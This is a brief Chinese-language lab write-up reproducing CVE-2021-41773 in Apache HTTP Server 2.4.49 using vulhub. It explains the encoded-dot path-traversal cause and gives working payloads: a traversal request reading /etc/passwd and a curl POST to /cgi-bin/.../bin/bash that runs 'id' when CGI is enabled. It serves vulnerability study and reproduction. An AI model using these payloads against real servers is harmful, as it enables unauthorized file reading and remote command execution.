CVE-2021-41773
复现环境:vulhub
影响范围:Apache HTTP Server 2.4.49
形成原因
老版本中值处理了/xx/../
这种路径,没有正确处理/xx/.%2e/
这种路径,导致%2e
(.)被进行转义处理,从而发生路径穿越
这里要注意不能是
/xx/%2e./
,但可以有/%2e%2e/
、/%2%65%2e/
、/.%2%65/
等(只要一开始的路径不为../且二次解码后的路径任为../则满足条件)根目录不受影响
复现
启动docker,将靶场映射到8080端口(默认),访问icons目录,显示如下
路径穿越
burp抓包并修改路径为/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
,然后发包,成功读取到passwd文件
这里要注意icons必须为apache服务器所存在的这么一个目录
命令执行
实现条件:服务器启用mods cgi或cgid
例如在/etc/httpd/httpd.conf配置文件中去掉modules/mod_cgid.so这行注释
访问/cgi-bin/目录,burp抓包,修改为POST请求后更改路径为/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
然后请求体发送echo;id
或者可以使用curl参数传递POST,例如curl -d 'echo;id' "http://192.168.20.139:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash"